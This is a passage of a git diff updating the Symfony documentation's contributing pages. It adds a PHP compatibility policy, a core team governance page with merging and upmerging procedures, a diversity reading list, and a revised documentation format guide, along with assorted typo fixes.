(4.0, 5.0, 6.0, etc.) In those cases, Symfony develops at the same time -two versions: the new major one (e.g. 4.0) and the latest version of the -previous branch (e.g. 3.4). +versions (6.0, 7.0, etc.) In those cases, Symfony develops at the same time +two versions: the new major one (e.g. 6.0) and the latest version of the +previous branch (e.g. 5.4). Both versions have the same new features, but they differ in the deprecated -features. The oldest version (3.4 in this example) contains all the deprecated -features whereas the new version (4.0 in this example) removes all of them. +features. The oldest version (5.4 in this example) contains all the deprecated +features whereas the new version (6.0 in this example) removes all of them. -This allows you to upgrade your projects to the latest minor version (e.g. 3.4), +This allows you to upgrade your projects to the latest minor version (e.g. 5.4), see all the deprecation messages and fix them. Once you have fixed all those -deprecations, you can upgrade to the new major version (e.g. 4.0) without +deprecations, you can upgrade to the new major version (e.g. 6.0) without effort, because it contains the same features (the only difference are the deprecated features, which your project no longer uses). +PHP Compatibility +----------------- + +The **minimum** PHP version is decided for each **major** Symfony version by consensus +amongst the :doc:`core team </contributing/core_team>` and documented as +part of the :ref:`technical requirements for running Symfony applications +<symfony-tech-requirements>`. + +Throughout each Symfony release's support lifetime, all released versions of PHP +including new major versions will be supported. In this way, the **maximum** supported +version of PHP for a maintained Symfony release is the latest released +one that is publicly available. + +For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last +supported PHP version. Newer versions of PHP may or may not function. + +.. note:: + + By exception to the rule, bumping the minimum **minor** version of PHP is + possible for a **minor** Symfony version when this helps fix important + issues. + Rationale --------- @@ -132,6 +162,6 @@ period to upgrade. Companies wanting more stability use the LTS versions: a new version is published every two years and there is a year to upgrade. .. _`semantic versioning`: https://semver.org/ -.. _`Subscribe to Symfony Roadmap notifications`: https://symfony.com/account/notifications -.. _`Symfony Roadmap`: https://symfony.com/releases +.. _`Subscribe to Symfony Release notifications`: https://symfony.com/account/notifications +.. _`Symfony Release`: https://symfony.com/releases .. _`professional Symfony support`: https://sensiolabs.com/ diff --git a/contributing/community/review-comments.rst b/contributing/community/review-comments.rst index 36bad6d7221..331352bb5fd 100644 --- a/contributing/community/review-comments.rst +++ b/contributing/community/review-comments.rst @@ -28,8 +28,8 @@ constructive, respectful and helpful reviews and replies. welcoming place for everyone. **You are free to disagree with someone's opinions, but don't be disrespectful.** -First of, accept that many programming decisions are opinions. -Discuss trade offs, which you prefer, and reach a resolution quickly. +It's important to accept that many programming decisions are opinions. +Discuss trade-offs, which you prefer, and reach a resolution quickly. It's not about being right or wrong, but using what works. Tone of Voice @@ -118,13 +118,13 @@ If a piece of code is in fact wrong, explain why: * "We only provide integration with very popular projects (e.g. we integrate Bootstrap but not your own CSS framework)" * "This would require adding lots of code and making lots of changes for a feature that doesn't look so important. - That could hurt maintaining in the future." + That could hurt maintenance in the future." Asking for Changes ------------------ Rarely something is perfect from the start, while the code itself is good. -It may not be optimal or conform the Symfony coding style. +It may not be optimal or conform to the Symfony coding style. Again, understand the author already spent time on the issue and asking for (small) changes may be misinterpreted or seen as a personal attack. @@ -143,13 +143,12 @@ Use words like "Please", "Thank you" and "Could you" instead of making demands; * "Please use 4 spaces instead of tabs", "This needs be on the previous line"; -During a pull request review you can usually leave more then one comment, +During a pull request review you can usually leave more than one comment, you don't have to use "Please" all the time. But it wouldn't hurt. It may not seem like much, but saying "Thank you" does make others feel more welcome. - Preventing Escalations ---------------------- @@ -158,7 +157,7 @@ In that case, it is better to try to approach the discussion in a different way, to not escalate further. If you want someone to mediate, please join the ``#contribs`` channel on `Symfony Slack`_, -to have a safe environment and keep working together on the common goals. +to have a safe environment and keep working together on common goals. Using Humor ----------- @@ -172,8 +171,8 @@ to the Symfony community.** And don't marginalize someone's problems; Even if someone's explanation is "inviting to joke about it", it's a real problem to them. Making jokes about this doesn't help with solving their -problem and only makes them *feel stupid*. Instead try to discover what -the problem is really about. +problem and only makes them *feel stupid*. Instead, try to discover the +actual problem. Final Words ----------- diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst index 342ba431201..06426c03985 100644 --- a/contributing/community/reviews.rst +++ b/contributing/community/reviews.rst @@ -59,15 +59,15 @@ The steps for the review are: #. **Is the Report Complete?** Good bug reports contain a link to a project (the "reproduction project") - created with the `Symfony skeleton`_ or the `Symfony website skeleton`_ - that reproduces the bug. If it doesn't, the report should at least contain - enough information and code samples to reproduce the bug. + created with the `Symfony skeleton`_ that reproduces the bug. If it + doesn't, the report should at least contain enough information and code + samples to reproduce the bug. #. **Reproduce the Bug** Download the reproduction project and test whether the bug can be reproduced on your system. If the reporter did not provide a reproduction project, - create one based on one `Symfony skeleton`_ (or the `Symfony website skeleton`_). + create one based on one `Symfony skeleton`_. #. **Update the Issue Status** @@ -109,7 +109,7 @@ to understand the functionality that has been fixed or added and find out whether the implementation is complete. It is okay to do partial reviews! If you do a partial review, comment how far -you got and leave the PR in "Needs Review" state. +you got and leave the PR in the "Needs Review" state. Pick a pull request from the `PRs in need of review`_ and follow these steps: @@ -134,9 +134,9 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: #. **Reproduce the Problem** Read the issue that the pull request is supposed to fix. Reproduce the - problem on a new project created with the `Symfony skeleton`_ (or the - `Symfony website skeleton`_) and try to understand why it exists. If the - linked issue already contains such a project, install it and run it on your system. + problem on a new project created with the `Symfony skeleton`_ and try to + understand why it exists. If the linked issue already contains such a + project, install it and run it on your system. #. **Review the Code** @@ -167,7 +167,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: PR by running the following Git commands. Insert the PR ID (that's the number after the ``#`` in the PR title) for the ``<ID>`` placeholders: - .. code-block:: text + .. code-block:: terminal $ cd vendor/symfony/symfony $ git fetch origin pull/<ID>/head:pr<ID> @@ -175,7 +175,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: For example: - .. code-block:: text + .. code-block:: terminal $ git fetch origin pull/15723/head:pr15723 $ git checkout pr15723 @@ -212,7 +212,6 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps: .. _GitHub: https://github.com .. _Symfony issue tracker: https://github.com/symfony/symfony/issues .. _`Symfony skeleton`: https://github.com/symfony/skeleton -.. _`Symfony website skeleton`: https://github.com/symfony/website-skeleton .. _create a GitHub account: https://help.github.com/github/getting-started-with-github/signing-up-for-a-new-github-account .. _bug reports in need of review: https://github.com/symfony/symfony/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Aissue+label%3A%22Bug%22+label%3A%22Status%3A+Needs+Review%22+ .. _PRs in need of review: https://github.com/symfony/symfony/pulls?q=is%3Aopen+is%3Apr+label%3A%22Status%3A+Needs+Review%22 diff --git a/contributing/community/speaker-mentoring.rst b/contributing/community/speaker-mentoring.rst index d8dc6bdde71..82b25c61f57 100644 --- a/contributing/community/speaker-mentoring.rst +++ b/contributing/community/speaker-mentoring.rst @@ -23,7 +23,7 @@ speakers with people who are just taking their first steps in this area: A good first step might be to give a talk at a local user group to a smaller crowd that one knows more intimately. A next step could be to - give a talk at conference in your first language. + give a talk at a conference in your first language. The best way to find people that can review your talk idea or slides is the `#speaker-mentoring`_ channel on `Symfony Slack`_. There are many diff --git a/contributing/core_team.rst b/contributing/core_team.rst new file mode 100644 index 00000000000..932cc390d60 --- /dev/null +++ b/contributing/core_team.rst @@ -0,0 +1,383 @@ +Symfony Core Team +================= + +The **Symfony Core** team is the group of developers that determine the +direction and evolution of the Symfony project. Their votes rule if the +features and patches proposed by the community are approved or rejected. + +All the Symfony Core members are long-time contributors with solid technical +expertise and they have demonstrated a strong commitment to drive the project +forward. + +This document states the rules that govern the Symfony core team. These rules +are effective upon publication of this document and all Symfony Core members +must adhere to said rules and protocol. + +Core Team Member Role +--------------------- + +In addition to being a regular contributor, core team members are expected to: + +* Review, approve, and merge pull requests; +* Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`; +* Participate in the Symfony Core Team discussions (on Slack and GitHub). + +Core Team Member Responsibilities +--------------------------------- + +Core Team members are unpaid volunteers and as such, they are not expected to +dedicate any specific amount of time on Symfony. They are expected to help the +project in any way they can. From reviewing pull requests and writing documentation, +to participating in discussions and helping the community in general. However, +their involvement is completely voluntary and can be as much or as little as +they want. + +Core Team Communication +~~~~~~~~~~~~~~~~~~~~~~~ + +As an open source project, public discussions and documentation is favored +over private ones. All communication in the Symfony community conforms to +the :doc:`/contributing/code_of_conduct/code_of_conduct`. Request +assistance from other Core and CARE team members when getting in situations +not following the Code of Conduct. + +Core Team members are invited in a private Slack channel, for quick +interactions and private processes (e.g. security issues). Each member +should feel free to ask for assistance for anything they may encounter. +Expect no judgement from other team members. + +Core Organization +----------------- + +Symfony Core members are divided into groups. Each member can only belong to one +group at a time. The privileges granted to a group are automatically granted to +all higher priority groups. + +The Symfony Core groups, in descending order of priority, are as follows: + +1. **Project Leader** + + * Elects members in any other group; + * Merges pull requests in all Symfony repositories. + +2. **Mergers Team** + + * Merge pull requests on the main Symfony repository. + +In addition, there are other groups created to manage specific topics: + +* **Security Team**: manages the whole security process (triaging reported vulnerabilities, + fixing the reported issues, coordinating the release of security fixes, etc.); +* **Symfony UX Team**: manages the `UX repositories`_; +* **Symfony CLI Team**: manages the `CLI repositories`_; +* **Documentation Team**: manages the whole `symfony-docs repository`_. + +Active Core Members +~~~~~~~~~~~~~~~~~~~ + +* **Project Leader**: + + * **Fabien Potencier** (`fabpot`_). + +* **Mergers Team** (``@symfony/mergers`` on GitHub): + + * **Nicolas Grekas** (`nicolas-grekas`_); + * **Christophe Coevoet** (`stof`_); + * **Christian Flothmann** (`xabbuh`_); + * **Kévin Dunglas** (`dunglas`_); + * **Javier Eguiluz** (`javiereguiluz`_); + * **Grégoire Pineau** (`lyrixx`_); + * **Ryan Weaver** (`weaverryan`_); + * **Robin Chalas** (`chalasr`_); + * **Yonel Ceruto** (`yceruto`_); + * **Tobias Nyholm** (`Nyholm`_); + * **Wouter De Jong** (`wouterj`_); + * **Alexander M. Turek** (`derrabus`_); + * **Jérémy Derussé** (`jderusse`_); + * **Oskar Stark** (`OskarStark`_); + * **Mathieu Santostefano** (`welcomattic`_); + * **Kevin Bond** (`kbond`_); + * **Jérôme Tamarelle** (`gromnan`_); + * **Berislav Balogović** (`hypemc`_); + * **Mathias Arlaud** (`mtarld`_); + * **Florent Morselli** (`spomky`_); + * **Alexandre Daubois** (`alexandre-daubois`_); + * **Christopher Hertel** (`chr-hertel`_). + +* **Security Team** (``@symfony/security`` on GitHub): + + * **Fabien Potencier** (`fabpot`_); + * **Jérémy Derussé** (`jderusse`_). + +* **Symfony UX Team** (``@symfony/ux`` on GitHub): + + * **Ryan Weaver** (`weaverryan`_); + * **Kevin Bond** (`kbond`_); + * **Simon André** (`smnandre`_); + * **Hugo Alliaume** (`kocal`_); + * **Matheo Daninos** (`webmamba`_). + +* **Symfony CLI Team** (``@symfony-cli/core`` on GitHub): + + * **Fabien Potencier** (`fabpot`_); + * **Tugdual Saunier** (`tucksaun`_). + +* **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub): + + * **Fabien Potencier** (`fabpot`_); + * **Ryan Weaver** (`weaverryan`_); + * **Christian Flothmann** (`xabbuh`_); + * **Wouter De Jong** (`wouterj`_); + * **Javier Eguiluz** (`javiereguiluz`_). + * **Oskar Stark** (`OskarStark`_). + +Former Core Members +~~~~~~~~~~~~~~~~~~~ + +They are no longer part of the core team, but we are very grateful for all their +Symfony contributions: + +* **Bernhard Schussek** (`webmozart`_); +* **Abdellatif AitBoudad** (`aitboudad`_); +* **Romain Neutron** (`romainneutron`_); +* **Jordi Boggiano** (`Seldaek`_); +* **Lukas Kahwe Smith** (`lsmith77`_); +* **Jules Pietri** (`HeahDude`_); +* **Jakub Zalas** (`jakzal`_); +* **Samuel Rozé** (`sroze`_); +* **Tobias Schultze** (`Tobion`_); +* **Maxime Steinhausser** (`ogizanagi`_); +* **Titouan Galopin** (`tgalopin`_); +* **Michael Cullum** (`michaelcullum`_); +* **Thomas Calvet** (`fancyweb`_). + +Core Membership Application +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +About once a year, the core team discusses the opportunity to invite new members. + +Core Membership Revocation +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A Symfony Core membership can be revoked for any of the following reasons: + +* Refusal to follow the rules and policies stated in this document; +* Lack of activity for the past six months; +* Willful negligence or intent to harm the Symfony project; +* Upon decision of the **Project Leader**. + +Core Membership Compensation +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Core Team members work on Symfony on a purely voluntary basis. In return +for their work for the Symfony project, members can get free access to +Symfony conferences. Personal vouchers for Symfony conferences are handed out +on request by the **Project Leader**. + +Code Development Rules +---------------------- + +Symfony project development is based on pull requests proposed by any member +of the Symfony community. Pull request acceptance or rejection is decided based +on the votes cast by the Symfony Core members. + +Pull Request Voting Policy +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +* ``-1`` votes must always be justified by technical and objective reasons; + +* ``+1`` votes do not require justification, unless there is at least one + ``-1`` vote; + +* Core members can change their votes as many times as they desire + during the course of a pull request discussion; +* Core members are not allowed to vote on their own pull requests. + +Pull Request Merging Policy +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A pull request **can be merged** if: + +* It is an :ref:`unsubstantial change <core-team_unsubstantial-changes>`; +* Enough time was given for peer reviews; +* It is a bug fix and at least two **Mergers Team** members voted ``+1`` + (only one if the submitter is part of the Mergers team) and no Core + member voted ``-1`` (via GitHub reviews or as comments). +* It is a new feature and at least two **Mergers Team** members voted + ``+1`` (if the submitter is part of the Mergers team, two *other* members) + and no Core member voted ``-1`` (via GitHub reviews or as comments). + +.. _core-team_unsubstantial-changes: + +.. note:: + + Unsubstantial changes comprise typos, DocBlock fixes, code standards + fixes, comment, exception message tweaks, and minor CSS, JavaScript and + HTML modifications. + +Pull Request Merging Process +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +All code must be committed to the repository through pull requests, except +for :ref:`unsubstantial change <core-team_unsubstantial-changes>` which can be +committed directly to the repository. + +**Mergers** must always use the command-line ``gh`` tool provided by the +**Project Leader** to merge pull requests. + +When merging a pull request, the tool asks for a category that should be chosen +following these rules: + +* **Feature**: For new features and deprecations; Pull requests must be merged + in the development branch. +* **Bug**: Only for bug fixes; We are very conservative when it comes to + merging older, but still maintained, branches. Read the :doc:`maintenance` + document for more information. +* **Minor**: For everything that does not change the code or when they don't + need to be listed in the CHANGELOG files: typos, Markdown files, test files, + new or missing translations, etc. +* **Security**: It's the category used for security fixes and should never be + used except by the security team. + +Getting the right category is important as it is used by automated tools to +generate the CHANGELOG files when releasing new versions. + +.. tip:: + + Core team members are part of the ``mergers`` group on the ``symfony`` + Github organization. This gives them write-access to many repositories, + including the main ``symfony/symfony`` mono-repository. + + To avoid unintentional pushes to the main project (which in turn creates + new versions on Packagist), Core team members are encouraged to have + two clones of the project locally: + + #. A clone for their own contributions, which they use to push to their + fork on GitHub. Clear out the push URL for the Symfony repository using + ``git remote set-url --push origin dev://null`` (change ``origin`` + to the Git remote pointing to the Symfony repository); + #. A clone for merging, which they use in combination with ``gh`` and + allows them to push to the main repository. + +Upmerging Version Branches +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To synchronize changes in all versions, version branches are regularly +merged from oldest to latest, called "upmerging". This is a manual process. +There is no strict policy on when this occurs, but usually not more than +once a day and at least once before monthly releases. + +Before starting the upmerge, Git must be configured to provide a merge +summary by running: + +.. code-block:: terminal + + # Run command in the "symfony" repository + $ git config merge.stat true + +The upmerge should always be done on all maintained versions at the same +time. Refer to `the releases page`_ to find all actively maintained +versions (indicated by a green color). + +The process follows these steps: + +#. Start on the oldest version and make sure it's up to date with the + upstream repository; +#. Check-out the second oldest version, update from upstream and merge the + previous version from the local branch; +#. Continue this process until you reached the latest version; +#. Push the branches to the repository and monitor the test suite. Failure + might indicate hidden/missed merge conflicts. + +.. code-block:: terminal + + # 'origin' is refered to as the main upstream project + $ git fetch origin + + # update the local branches + $ git checkout 6.4 + $ git reset --hard origin/6.4 + $ git checkout 7.2 + $ git reset --hard origin/7.2 + $ git checkout 7.3 + $ git reset --hard origin/7.3 + + # upmerge 6.4 into 7.2 + $ git checkout 7.2 + $ git merge --no-ff 6.4 + # ... resolve conflicts + $ git commit + + # upmerge 7.2 into 7.3 + $ git checkout 7.3 + $ git merge --no-ff 7.2 + # ... resolve conflicts + $ git commit + + $ git push origin 7.3 7.2 6.4 + +.. warning:: + + Upmerges must be explicit, i.e. no fast-forward merges. + +.. tip:: + + Solving merge conflicts can be challenging. You can always ping other + Core team members to help you in the process (e.g. members that merged + a specific conflicting change). + +Release Policy +~~~~~~~~~~~~~~ + +The **Project Leader** is also the release manager for every Symfony version. + +Symfony Core Rules and Protocol Amendments +------------------------------------------ + +The rules described in this document may be amended at any time at the +discretion of the **Project Leader**. + +.. _`symfony-docs repository`: https://github.com/symfony/symfony-docs +.. _`UX repositories`: https://github.com/symfony/ux +.. _`CLI repositories`: https://github.com/symfony-cli +.. _`fabpot`: https://github.com/fabpot/ +.. _`webmozart`: https://github.com/webmozart/ +.. _`Tobion`: https://github.com/Tobion/ +.. _`nicolas-grekas`: https://github.com/nicolas-grekas/ +.. _`stof`: https://github.com/stof/ +.. _`dunglas`: https://github.com/dunglas/ +.. _`jakzal`: https://github.com/jakzal/ +.. _`Seldaek`: https://github.com/Seldaek/ +.. _`weaverryan`: https://github.com/weaverryan/ +.. _`aitboudad`: https://github.com/aitboudad/ +.. _`xabbuh`: https://github.com/xabbuh/ +.. _`javiereguiluz`: https://github.com/javiereguiluz/ +.. _`lyrixx`: https://github.com/lyrixx/ +.. _`chalasr`: https://github.com/chalasr/ +.. _`ogizanagi`: https://github.com/ogizanagi/ +.. _`Nyholm`: https://github.com/Nyholm +.. _`sroze`: https://github.com/sroze +.. _`yceruto`: https://github.com/yceruto +.. _`michaelcullum`: https://github.com/michaelcullum +.. _`wouterj`: https://github.com/wouterj +.. _`HeahDude`: https://github.com/HeahDude +.. _`OskarStark`: https://github.com/OskarStark +.. _`romainneutron`: https://github.com/romainneutron +.. _`lsmith77`: https://github.com/lsmith77/ +.. _`derrabus`: https://github.com/derrabus/ +.. _`jderusse`: https://github.com/jderusse/ +.. _`tgalopin`: https://github.com/tgalopin/ +.. _`fancyweb`: https://github.com/fancyweb/ +.. _`welcomattic`: https://github.com/welcomattic/ +.. _`kbond`: https://github.com/kbond/ +.. _`gromnan`: https://github.com/gromnan/ +.. _`smnandre`: https://github.com/smnandre/ +.. _`kocal`: https://github.com/kocal/ +.. _`webmamba`: https://github.com/webmamba/ +.. _`hypemc`: https://github.com/hypemc/ +.. _`mtarld`: https://github.com/mtarld/ +.. _`spomky`: https://github.com/spomky/ +.. _`alexandre-daubois`: https://github.com/alexandre-daubois/ +.. _`tucksaun`: https://github.com/tucksaun/ +.. _`chr-hertel`: https://github.com/chr-hertel/ +.. _`the releases page`: https://symfony.com/releases diff --git a/contributing/diversity/further_reading.rst b/contributing/diversity/further_reading.rst new file mode 100644 index 00000000000..b5f44047159 --- /dev/null +++ b/contributing/diversity/further_reading.rst @@ -0,0 +1,56 @@ +Further Reading / Viewing +========================= + +This is a non-exhaustive list of further reading on the topic of diversity. + +Diversity in Open Source +------------------------ + +`Sage Sharp - What makes a good community? <https://sage.thesharps.us/2015/10/06/what-makes-a-good-community>`_ +`Ashe Dryden - The Ethics of Unpaid Labor and the OSS Community <https://www.ashedryden.com/blog/the-ethics-of-unpaid-labor-and-the-oss-community>`_ +`Model View Culture - The Dehumanizing Myth of the Meritocracy <https://modelviewculture.com/pieces/the-dehumanizing-myth-of-the-meritocracy>`_ +`Annalee - How "Good Intent" Undermines Diversity and Inclusion <https://thebias.com/2017/09/26/how-good-intent-undermines-diversity-and-inclusion>`_ +`Karolina Szczur - Building Inclusive Communities <https://speakerdeck.com/fox/building-inclusive-communities>`_ + +Code of Conduct +--------------- + +`Karolina Szczur - When a Code of Conduct becomes harmful <https://medium.com/@fox/when-a-code-of-conduct-becomes-harmful-1d4e737ff7aa>`_ +`Ashe Dryden - Codes of Conduct 101 + FAQ <https://www.ashedryden.com/blog/codes-of-conduct-101-faq>`_ +`Phil Sturgeon - Codes of Conduct: Maybe They're Not So Bad? <https://philsturgeon.uk/2016/09/15/codes-of-conduct-maybe-theyre-not-so-bad>`_ + +Inclusive language +------------------ + +`Jenée Desmond-Harris - Why I'm finally convinced it's time to stop saying "you guys" <https://www.vox.com/2015/6/11/8761227/you-guys-sexism-language>`_ +`inclusive language presentations <https://github.com/hcorona/diversity-inclusion/blob/master/inclusive-language-presentations.md>`_ + +Other talks and Blog Posts +-------------------------- + +`Lena Reinhard – A Talk About Nothing <https://www.youtube.com/watch?v=D3e3V66TH2Y>`_ +`Lena Reinhard - A Talk about Everything <https://www.youtube.com/watch?v=CZx7rYoq1Uw>`_ +`Sage Sharp - SCALE: Improving Diversity with Maslow's hierarchy <https://sage.thesharps.us/2016/01/24/scale-improving-diversity-with-maslows-hierarchy>`_ +`UCSF - Unconscious Bias <https://diversity.ucsf.edu/resources/unconscious-bias>`_ +`Responding to harassment reports <http://geekfeminism.wikia.com/wiki/Conference_anti-harassment/Responding_to_reports>`_ +`Unconscious bias at work <https://rework.withgoogle.com/guides/unbiasing-raise-awareness/steps/watch-unconscious-bias-at-work>`_ +`CIS people declaring their pronouns <https://medium.com/@mrsexsmith/dear-cis-people-who-put-your-pronouns-on-your-hello-my-name-is-nametags-78c047ed7af1>`_ + +Books +----- + +`Emily Chang - Brotopia <http://www.brotopiabook.com>`_ + +Websites +-------- + +`Better Allies <https://maleallies.com>`_ +`Geek Feminism WIKI <http://geekfeminism.wikia.com/wiki/Geek_Feminism_Wiki>`_ +`Open Source Diversity <https://opensourcediversity.org>`_ +`Open Demographics documentation <https://drnikki.github.io/open-demographics>`_ +`CHAOSS Metrics <https://chaoss.community/metrics/>`_ +`Up for grabs <https://up-for-grabs.net/#/>`_ +`The developmental model of intercultural sensitivity (DMIS) <http://meldye.weebly.com/what-is-dmis.html>`_ +`DiversifyTech <https://www.diversifytech.co>`_ +`so-you-just-learned <https://github.com/sublimemarch/so-you-just-learned/blob/master/README.md>`_ +`The Post-Meritocracy Manifesto <https://postmeritocracy.org>`_ diff --git a/contributing/diversity/governance.rst b/contributing/diversity/governance.rst index 8dd302ccc0a..93a79ed30fa 100644 --- a/contributing/diversity/governance.rst +++ b/contributing/diversity/governance.rst @@ -64,11 +64,11 @@ knowing that the responsibility they accept for said vote is justified. Voting ~~~~~~ -The guidance team have the right to vote on proposals for actionable items. +The guidance team has the right to vote on proposals for actionable items. The quorum of "yes" or "no" votes required for a decision to be considered valid is at least 75% of active, appointed members of the guidance team - to abstain from voting means that vote will not be counted towards the quorum. -For an actionable item to pass, approval from greater than 50% of the voting +For an actionable item to pass, approval from more than 50% of the voting guidance team members is required. Use or management of finances/donations require at least a two-thirds majority to pass. diff --git a/contributing/diversity/index.rst b/contributing/diversity/index.rst index a932c27648b..85fd0694d4e 100644 --- a/contributing/diversity/index.rst +++ b/contributing/diversity/index.rst @@ -5,3 +5,4 @@ Diversity Initiative :maxdepth: 2 governance + further_reading diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst index 2c465096f0b..3318df50841 100644 --- a/contributing/documentation/format.rst +++ b/contributing/documentation/format.rst @@ -2,34 +2,31 @@ Documentation Format ==================== The Symfony documentation uses `reStructuredText`_ as its markup language and -`Sphinx`_ for generating the documentation in the formats read by the end users, -such as HTML and PDF. +a custom tool called `Docs Builder`_ for generating the documentation pages. reStructuredText ---------------- reStructuredText is a plain text markup syntax similar to Markdown, but much -stricter with its syntax. If you are new to reStructuredText, take some time to -familiarize with this format by reading the existing `Symfony documentation`_ -source code. +stricter with its syntax. If you are new to reStructuredText, check out the +`reStructuredText Primer`_ tutorial and the `reStructuredText Reference`_. -If you want to learn more about this format, check out the `reStructuredText Primer`_ -tutorial and the `reStructuredText Reference`_. +You can also take some time to familiarize with this format by reading the +existing `Symfony documentation`_ source. -.. caution:: +.. warning:: If you are familiar with Markdown, be careful as things are sometimes very similar but different: - * Lists starts at the beginning of a line (no indentation is allowed); + * Lists start at the beginning of a line (no indentation is allowed); * Inline code blocks use double-ticks (````like this````). -Sphinx ------- +Custom reStructuredText Directives +---------------------------------- -Sphinx_ is a build system that provides tools to create documentation from -reStructuredText documents. As such, it adds new directives and interpreted text -roles to the standard reStructuredText markup. Read more about the `Sphinx Markup Constructs`_. +The Symfony documentation includes several custom directives that extend the +standard reStructuredText syntax. Syntax Highlighting ~~~~~~~~~~~~~~~~~~~ @@ -45,9 +42,9 @@ change it with the ``code-block`` directive: .. note:: - Besides all of the major programming languages, the syntax highlighter - supports all kinds of markup and configuration languages. Check out the - list of `supported languages`_ on the syntax highlighter website. + Code highlighting is supported for all programming languages commonly used + in Symfony Docs, such as ``yaml``, ``xml``, ``twig``, ``html``, ``js``, + ``json``, ``text``, ``bash``, ``diff``, etc. .. _docs-configuration-blocks: @@ -90,22 +87,71 @@ The previous reStructuredText snippet renders as follow: // Configuration in PHP +All code examples assume that you are using that feature inside a Symfony +application. If you ever need to also show how to use it when working with +standalone components in any PHP application, use the special formats +``php-symfony`` and ``php-standalone``, which will be rendered like this: + +.. configuration-block:: + + .. code-block:: php-symfony + + // PHP code using features provided by the Symfony framework + + .. code-block:: php-standalone + + // PHP code using standalone components + The current list of supported formats are the following: -=================== ====================================== +=================== ============================================================================== Markup Format Use It to Display -=================== ====================================== -``html`` HTML -``xml`` XML -``php`` PHP -``yaml`` YAML -``twig`` Pure Twig markup -``html+twig`` Twig markup blended with HTML +=================== ============================================================================== +``caddy`` Caddy web server configuration +``env`` Bash files (like ``.env`` files) ``html+php`` PHP code blended with HTML +``html+twig`` Twig markup blended with HTML +``html`` HTML ``ini`` INI ``php-annotations`` PHP Annotations ``php-attributes`` PHP Attributes -=================== ====================================== +``php-standalone`` PHP code to be used in any PHP application using standalone Symfony components +``php-symfony`` PHP code example when using the Symfony framework +``php`` PHP +``rst`` reStructuredText markup +``terminal`` Renders the contents as a console terminal (use it to show which commands to run) +``twig`` Pure Twig markup +``varnish3`` Varnish Cache 3 configuration +``varnish4`` Varnish Cache 4 configuration +``vcl`` Varnish Configuration Language +``xml`` XML +``yaml`` YAML +=================== ============================================================================== + +Displaying Tabs +~~~~~~~~~~~~~~~ + +It is possible to display tabs in the documentation. They look similar to +configuration blocks when rendered, but tabs can hold any type of content: + +.. code-block:: rst + + .. tabs:: UX Installation + + .. tab:: Webpack Encore + + Introduction to Webpack + + .. code-block:: yaml + + webpack: + # ... + + .. tab:: AssetMapper + + Introduction to AssetMapper + + Something else about AssetMapper Adding Links ~~~~~~~~~~~~ @@ -148,6 +194,29 @@ If you want to modify that title, use this alternative syntax: :doc:`environments` +**Links to specific page sections** follow a different syntax. First, define a +target above section you will link to (syntax: ``.. _`` + target name + ``:``): + +.. code-block:: rst + + # /service_container/autowiring.rst + + # define the target + .. _autowiring-calls: + + Autowiring other Methods (e.g. Setters and Public Typed Properties) + ------------------------------------------------------------------- + + // section content ... + +Then, use the ``:ref::`` directive to link to that section from another file: + +.. code-block:: rst + + # /reference/attributes.rst + + :ref:`Required <autowiring-calls>` + **Links to the API** follow a different syntax, where you must specify the type of the linked resource (``class`` or ``method``): @@ -174,44 +243,42 @@ If you are documenting a brand new feature, a change or a deprecation that's been made in Symfony, you should precede your description of the change with the corresponding directive and a short description: -For a new feature or a behavior change use the ``.. versionadded:: 5.x`` +For a new feature or a behavior change use the ``.. versionadded:: 7.x`` directive: .. code-block:: rst - .. versionadded:: 5.2 + .. versionadded:: 7.2 - ... ... ... was introduced in Symfony 5.2. + ... ... ... was introduced in Symfony 7.2. If you are documenting a behavior change, it may be helpful to *briefly* describe how the behavior has changed: .. code-block:: rst - .. versionadded:: 5.2 + .. versionadded:: 7.2 - ... ... ... was introduced in Symfony 5.2. Prior to this, + ... ... ... was introduced in Symfony 7.2. Prior to this, ... ... ... ... ... ... ... ... . -For a deprecation use the ``.. deprecated:: 5.x`` directive: +For a deprecation use the ``.. deprecated:: 7.x`` directive: .. code-block:: rst - .. deprecated:: 5.2 + .. deprecated:: 7.2 - ... ... ... was deprecated in Symfony 5.2. + ... ... ... was deprecated in Symfony 7.2. -Whenever a new major version of Symfony is released (e.g. 6.0, 7.0, etc), -a new branch of the documentation is created from the ``master`` branch. -At this point, all the ``versionadded`` and ``deprecated`` tags for Symfony -versions that have a lower major version will be removed. For example, if -Symfony 6.0 were released today, 5.0 to 5.4 ``versionadded`` and ``deprecated`` -tags would be removed from the new ``6.0`` branch. +Whenever a new major version of Symfony is released (e.g. 8.0, 9.0, etc), a new +branch of the documentation is created from the ``x.4`` branch of the previous +major version. At this point, all the ``versionadded`` and ``deprecated`` tags +for Symfony versions that have a lower major version will be removed. For +example, if Symfony 8.0 were released today, 7.0 to 7.4 ``versionadded`` and +``deprecated`` tags would be removed from the new ``8.0`` branch. -.. _reStructuredText: https://docutils.sourceforge.io/rst.html -.. _Sphinx: https://www.sphinx-doc.org/ +.. _`reStructuredText`: https://docutils.sourceforge.io/rst.html +.. _`Docs Builder`: https://github.com/symfony-tools/docs-builder .. _`Symfony documentation`: https://github.com/symfony/symfony-docs .. _`reStructuredText Primer`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html .. _`reStructuredText Reference`: https://docutils.sourceforge.io/docs/user/rst/quickref.html -.. _`Sphinx Markup Constructs`: https://www.sphinx-doc.org/en/1.7/markup/index.html -.. _`supported languages`: https://pygments.org/languages/ diff --git a/contributing/documentation/index.rst b/contributing/documentation/index.rst index f16f4e32cc7..9af054d0502 100644 --- a/contributing/documentation/index.rst +++ b/contributing/documentation/index.rst @@ -20,12 +20,3 @@ documentation: :doc:`License </contributing/documentation/license>` Explains the details of the Creative Commons BY-SA 3.0 license used for the Symfony Documentation. - 